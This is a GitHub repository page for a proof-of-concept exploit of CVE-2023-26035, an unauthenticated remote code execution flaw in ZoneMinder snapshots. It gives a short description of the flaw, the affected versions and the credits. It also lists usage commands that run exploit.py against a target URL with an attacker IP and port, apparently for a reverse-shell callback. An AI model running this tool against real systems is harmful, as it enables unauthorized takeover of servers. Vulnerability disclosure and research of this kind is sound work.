Skip to content

Unauthenticated RCE in ZoneMinder Snapshots - Poc Exploit

Notifications You must be signed in to change notification settings

rvizx/CVE-2023-26035

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

7 Commits
 
 
 
 

Repository files navigation

CVE-2023-26035

Unauthenticated RCE in ZoneMinder Snapshots - PoC Exploit

alt img

Description

ZoneMinder versions prior to 1.36.33 and 1.37.33 are vulnerable to Unauthenticated Remote Code Execution due to missing authorization checks in the snapshot action.

Usage

git clone https://github.com/rvizx/CVE-2023-26035
cd CVE-2023-26035
python3 exploit.py
python3 exploit.py -t <target_url> -ip <attacker-ip> -p <port>

Requirements

pip3 install beautifulsoup4

Credits

UnblvR discovered the vulnerability.

About

Unauthenticated RCE in ZoneMinder Snapshots - Poc Exploit

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages